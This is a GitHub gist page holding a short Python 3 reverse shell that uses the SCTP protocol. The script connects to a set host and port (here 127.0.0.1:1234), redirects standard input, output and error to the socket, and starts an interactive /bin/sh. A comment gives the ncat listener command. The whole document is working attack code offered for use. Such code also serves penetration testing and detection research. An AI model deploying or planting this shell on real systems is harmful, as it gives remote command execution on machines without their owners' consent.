Created
April 14, 2017 17:22
-
-
Save hyperreality/2bbb835769efd44f3ac6670acec3ff4e to your computer and use it in GitHub Desktop.
Simple Python reverse shell using the SCTP protocol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# Tiny SCTP Reverse Shell inspired by http://insecurety.net/?p=765 | |
# Connect with `ncat --sctp -lvp 1234` | |
import os, socket, subprocess | |
RHOST = '127.0.0.1' | |
RPORT = 1234 | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_SCTP) | |
s.connect((RHOST, RPORT)) | |
[os.dup2(s.fileno(), i) for i in range(3)] | |
shell = subprocess.call(["/bin/sh", "-i"]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment